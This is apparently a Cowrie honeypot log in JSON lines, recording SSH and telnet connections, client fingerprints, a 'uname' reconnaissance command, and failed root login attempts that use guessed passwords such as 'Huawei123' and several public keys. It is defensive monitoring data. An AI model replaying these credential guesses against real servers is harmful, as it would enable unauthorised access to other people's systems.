{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:29.538125Z","src_ip":"176.65.132.129","session":"a5324fac4e27","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:29.623149Z","src_ip":"176.65.132.129","session":"a5324fac4e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:29.627522Z","src_ip":"176.65.132.129","session":"a5324fac4e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56892,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca9412df8f9c","protocol":"ssh","message":"New connection: 176.65.132.129:56892 (159.203.135.109:22) [session: ca9412df8f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:32.370086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:32.374389Z","src_ip":"176.65.132.129","session":"ca9412df8f9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:32.457059Z","src_ip":"176.65.132.129","session":"ca9412df8f9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.20290684700012,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:32.580898Z","src_ip":"45.58.127.90","session":"526bc7730aec","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:32.702487Z","src_ip":"176.65.132.129","session":"ca9412df8f9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:33.787670Z","src_ip":"176.65.132.129","session":"ca9412df8f9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60610,"dst_ip":"159.203.135.109","dst_port":22,"session":"40fa18a30a94","protocol":"ssh","message":"New connection: 176.65.132.129:60610 (159.203.135.109:22) [session: 40fa18a30a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:35.753808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:35.761892Z","src_ip":"176.65.132.129","session":"40fa18a30a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:35.846162Z","src_ip":"176.65.132.129","session":"40fa18a30a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:36.094130Z","src_ip":"176.65.132.129","session":"40fa18a30a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:37.178679Z","src_ip":"176.65.132.129","session":"40fa18a30a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.60.130","src_port":56658,"dst_ip":"10.17.0.5","dst_port":22,"session":"78d02c41fcc1","protocol":"ssh","message":"New connection: 198.98.60.130:56658 (10.17.0.5:22) [session: 78d02c41fcc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:38.954145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:38.958371Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:38.964356Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:ed:2a:72:02:f9:a4:41:96:b4:1e:3e:cd:dc:4e:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu8IHZNuOOdk0MYO0WdBi1Naoy4F9MKYnl9eHW0AlZ9BuFFd++KN+GtQh2grQ60xcKcv1FHRs57nxa13wW88/TTf3FrLY+sIGs951ROSp6paoEtuUxHVMzKzqCpKeQlQE+s3yL5S5xj4AmJAotJ9B9Jv6zIh3JOvfAIrCgrqRIphN0P+klo2e0biGg6stUD9cbHdQAhc4sioeKa5cBqbfq2VpGl1/9hYrNaTwHdkMTUgjTOU5aj1m3VlVttoBkHcw4tXTMIPquUnYA34BH9NxEBKVo52zMNa2aI81X81OWfzTFEPBtuUDelIux9ums45peyWwJDs+1EjQEgJNEjxH7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:ed:2a:72:02:f9:a4:41:96:b4:1e:3e:cd:dc:4e:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:38.980307Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:ed:2a:72:02:f9:a4:41:96:b4:1e:3e:cd:dc:4e:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu8IHZNuOOdk0MYO0WdBi1Naoy4F9MKYnl9eHW0AlZ9BuFFd++KN+GtQh2grQ60xcKcv1FHRs57nxa13wW88/TTf3FrLY+sIGs951ROSp6paoEtuUxHVMzKzqCpKeQlQE+s3yL5S5xj4AmJAotJ9B9Jv6zIh3JOvfAIrCgrqRIphN0P+klo2e0biGg6stUD9cbHdQAhc4sioeKa5cBqbfq2VpGl1/9hYrNaTwHdkMTUgjTOU5aj1m3VlVttoBkHcw4tXTMIPquUnYA34BH9NxEBKVo52zMNa2aI81X81OWfzTFEPBtuUDelIux9ums45peyWwJDs+1EjQEgJNEjxH7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:38.986274Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:85:f0:94:e6:5a:92:62:bc:f0:b3:2e:a3:55:39:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCommGOXf52RLEpRS/Rm5fPWWAJWCN1PyDY8ef9b6WA92i4YkzPk/skIF5owvlWIyYBRszoCjGX221cQDoQhWZkc8y6E2KQoZOmlRi5DweM6vm2BWWxd41g7A/QEgEfJBttkOIzCDRWZ+Jl7EHWkcBqNK3Gz3Am5Ilnbkpwe7SuLFRh76E5mZHAwYQBGpieGTUYkOAOqEwW0dPwJyCOLAtUYLdsGaAxi7ogEDKSMNfQuDLx/fvSUPmv5iUloLj7XtBSZLvKFjHNXIDLgAQZ6j0AEiwYgNVyD4WpBsEVEoPfaZ7rkiQkpdnU6kVB2dTNaApdOb+DeC2BbF367u5aNKfz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:85:f0:94:e6:5a:92:62:bc:f0:b3:2e:a3:55:39:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:38.993949Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:85:f0:94:e6:5a:92:62:bc:f0:b3:2e:a3:55:39:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCommGOXf52RLEpRS/Rm5fPWWAJWCN1PyDY8ef9b6WA92i4YkzPk/skIF5owvlWIyYBRszoCjGX221cQDoQhWZkc8y6E2KQoZOmlRi5DweM6vm2BWWxd41g7A/QEgEfJBttkOIzCDRWZ+Jl7EHWkcBqNK3Gz3Am5Ilnbkpwe7SuLFRh76E5mZHAwYQBGpieGTUYkOAOqEwW0dPwJyCOLAtUYLdsGaAxi7ogEDKSMNfQuDLx/fvSUPmv5iUloLj7XtBSZLvKFjHNXIDLgAQZ6j0AEiwYgNVyD4WpBsEVEoPfaZ7rkiQkpdnU6kVB2dTNaApdOb+DeC2BbF367u5aNKfz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:38.997473Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:da:2a:6e:0a:35:48:60:d7:ee:12:e2:ed:56:c3:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+XWEIsxk5oy3pJDHNBIItRgIsUw+NVF/h9yzO6kPJ0wKveXGUT6MEsT3y18kOofwbobCMi9utfmU2szgIYvemQ20JO1rqUnIe7ZjPfVbkUAoeZiL1O+ETayMzoAHJPSrgUrI5xdcsHKy1jIFKK6Fl/t0TkDIQNlRS2q3Re5CCThgiJhPzdjKuyvX9FqbTJC66fEZUPw14jhqzPhMuKnE9nVDC8XaFE/wrALhUPwzqtIWsY1rN4LnHGQbo3HyQVzoN/gTF7nesV6dk9ZcKqsUKKTI2VSVFepSW9D8qElqx0ZOpac4QycRCyiFGtAa1ny2wzuS8e6bXpgOHEugYX/oflgDHuH8qSmkaGDjZYk400Knt+odkoddKbWi7iBW6Fml79F9veJmsG3QORVEuvIkAUtBeTbwwK8p3GiZjlZgWAnuSwLYiss1T4F+czBCwFhFUNxDFEY9qdlrAgrZeAqBDSYUB+9hNaDxUY0auGhSvozJ7OmMZLsCtskepi3GUooXPE/WE8zQBQ1i52ps5fxtBs9XT7fopIAZC/BRP4dzW+dje3Tsa6aqKk4E8GfQYtbm9AL4eRPwsq8ISQPFJUpYoJOjjXanajDuwJaU2+EFMPXjy0gdPANwH66FPGpmwepgigyas+weovjLcQlCZaU03wB8hPDNr+lM59y0MZ627BQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:da:2a:6e:0a:35:48:60:d7:ee:12:e2:ed:56:c3:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:39.004595Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:da:2a:6e:0a:35:48:60:d7:ee:12:e2:ed:56:c3:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+XWEIsxk5oy3pJDHNBIItRgIsUw+NVF/h9yzO6kPJ0wKveXGUT6MEsT3y18kOofwbobCMi9utfmU2szgIYvemQ20JO1rqUnIe7ZjPfVbkUAoeZiL1O+ETayMzoAHJPSrgUrI5xdcsHKy1jIFKK6Fl/t0TkDIQNlRS2q3Re5CCThgiJhPzdjKuyvX9FqbTJC66fEZUPw14jhqzPhMuKnE9nVDC8XaFE/wrALhUPwzqtIWsY1rN4LnHGQbo3HyQVzoN/gTF7nesV6dk9ZcKqsUKKTI2VSVFepSW9D8qElqx0ZOpac4QycRCyiFGtAa1ny2wzuS8e6bXpgOHEugYX/oflgDHuH8qSmkaGDjZYk400Knt+odkoddKbWi7iBW6Fml79F9veJmsG3QORVEuvIkAUtBeTbwwK8p3GiZjlZgWAnuSwLYiss1T4F+czBCwFhFUNxDFEY9qdlrAgrZeAqBDSYUB+9hNaDxUY0auGhSvozJ7OmMZLsCtskepi3GUooXPE/WE8zQBQ1i52ps5fxtBs9XT7fopIAZC/BRP4dzW+dje3Tsa6aqKk4E8GfQYtbm9AL4eRPwsq8ISQPFJUpYoJOjjXanajDuwJaU2+EFMPXjy0gdPANwH66FPGpmwepgigyas+weovjLcQlCZaU03wB8hPDNr+lM59y0MZ627BQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:39.008250Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:7c:f4:ae:62:d6:6b:6a:3e:6f:8c:bd:ee:09:15:49","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALCoYM+OiJjRhWdaYywmg+xcwpBuUVQTEgaPvpotRRiPNJ/ngckmmiHASz7zleonYKrhQmgE5qndije+ZJxUOBNWVrwzfYvx1xNWqZnutRMyZXkI9jiNG0bXFwykR7EpXGByFoWlk3jtOSf16v0DpchC+txuyzZJ6hH2bcGyPKfxAAAAFQCFSfsz6rE7JagWicEMQWmRasrJ8QAAAIEAl8PLM0qo/rxe+K2Hl1W2v7ZFGNb3aDlmsxnhkJlOoVNyWiDnsPa2DyvXYZbvwjaZIB/4SG2yzJKNhdH7AIghENrJw/udhVievjTVNtSl+HdroVIBm0mfakpLmx9C4Dig3AN7gmdYRi0CEEzw3jQ4P8H1kuuWdxCNaKGLc3dzeDoAAACBAJbEKl1cxPsq70UyMq5HfE56yaMaR0JE/FGFIUcCx6kKsgUHNo2bHrIDsiioIuCHMWj+AAdBzVZBK4WT+n/VvzkegacBUTEnemzxc7GtogIoIPpUWEF7K9qvfkH4/Ilt5f5i5wjdoSVsWegNno57QuebcCMcTkuEbVprMyqisq+0","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8b:7c:f4:ae:62:d6:6b:6a:3e:6f:8c:bd:ee:09:15:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:39.015811Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:7c:f4:ae:62:d6:6b:6a:3e:6f:8c:bd:ee:09:15:49","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALCoYM+OiJjRhWdaYywmg+xcwpBuUVQTEgaPvpotRRiPNJ/ngckmmiHASz7zleonYKrhQmgE5qndije+ZJxUOBNWVrwzfYvx1xNWqZnutRMyZXkI9jiNG0bXFwykR7EpXGByFoWlk3jtOSf16v0DpchC+txuyzZJ6hH2bcGyPKfxAAAAFQCFSfsz6rE7JagWicEMQWmRasrJ8QAAAIEAl8PLM0qo/rxe+K2Hl1W2v7ZFGNb3aDlmsxnhkJlOoVNyWiDnsPa2DyvXYZbvwjaZIB/4SG2yzJKNhdH7AIghENrJw/udhVievjTVNtSl+HdroVIBm0mfakpLmx9C4Dig3AN7gmdYRi0CEEzw3jQ4P8H1kuuWdxCNaKGLc3dzeDoAAACBAJbEKl1cxPsq70UyMq5HfE56yaMaR0JE/FGFIUcCx6kKsgUHNo2bHrIDsiioIuCHMWj+AAdBzVZBK4WT+n/VvzkegacBUTEnemzxc7GtogIoIPpUWEF7K9qvfkH4/Ilt5f5i5wjdoSVsWegNno57QuebcCMcTkuEbVprMyqisq+0","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:39.021246Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:7d:f4:d1:51:56:bf:67:1a:40:c5:33:e6:3c:18:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD/m0nlWwV+QiKjKh2gas2vgOb4RGVQJt5prtsMzrv+jKUtR0jWmP8s+JYUR6hkv3324kwEFI0QQwyszas9UkytwslImXG9F0PfZpEShwHXyM+lyYprCTLevVlrWLQD6/NLO1gmk7VXqWekDbBsvqIGmxAbGt+N1wgINTe4+bRs8WhzkDTNw2807BstX6pisb0JE6WPeLM3oYT6SK/nbuQLssU+5bLhW9Jo/iGlwz3Cl5bGI5URGqbl856jiwwbK+RQVLa6p2BXhkMbzVURwCOts/7n0AnxLioAHJe8emwDqG58Nnr5Q/XgdqT98TOORi3H5D0LoMch6PZxN4lhKZer","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:7d:f4:d1:51:56:bf:67:1a:40:c5:33:e6:3c:18:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:39.030885Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:7d:f4:d1:51:56:bf:67:1a:40:c5:33:e6:3c:18:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD/m0nlWwV+QiKjKh2gas2vgOb4RGVQJt5prtsMzrv+jKUtR0jWmP8s+JYUR6hkv3324kwEFI0QQwyszas9UkytwslImXG9F0PfZpEShwHXyM+lyYprCTLevVlrWLQD6/NLO1gmk7VXqWekDbBsvqIGmxAbGt+N1wgINTe4+bRs8WhzkDTNw2807BstX6pisb0JE6WPeLM3oYT6SK/nbuQLssU+5bLhW9Jo/iGlwz3Cl5bGI5URGqbl856jiwwbK+RQVLa6p2BXhkMbzVURwCOts/7n0AnxLioAHJe8emwDqG58Nnr5Q/XgdqT98TOORi3H5D0LoMch6PZxN4lhKZer","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:39.034231Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:39.043339Z","src_ip":"198.98.60.130","session":"78d02c41fcc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60612,"dst_ip":"159.203.135.109","dst_port":22,"session":"56a75e50d902","protocol":"ssh","message":"New connection: 176.65.132.129:60612 (159.203.135.109:22) [session: 56a75e50d902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:39.048212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:39.107065Z","src_ip":"176.65.132.129","session":"56a75e50d902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:39.299209Z","src_ip":"176.65.132.129","session":"56a75e50d902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:39.570326Z","src_ip":"176.65.132.129","session":"56a75e50d902","protocol":"ssh"}
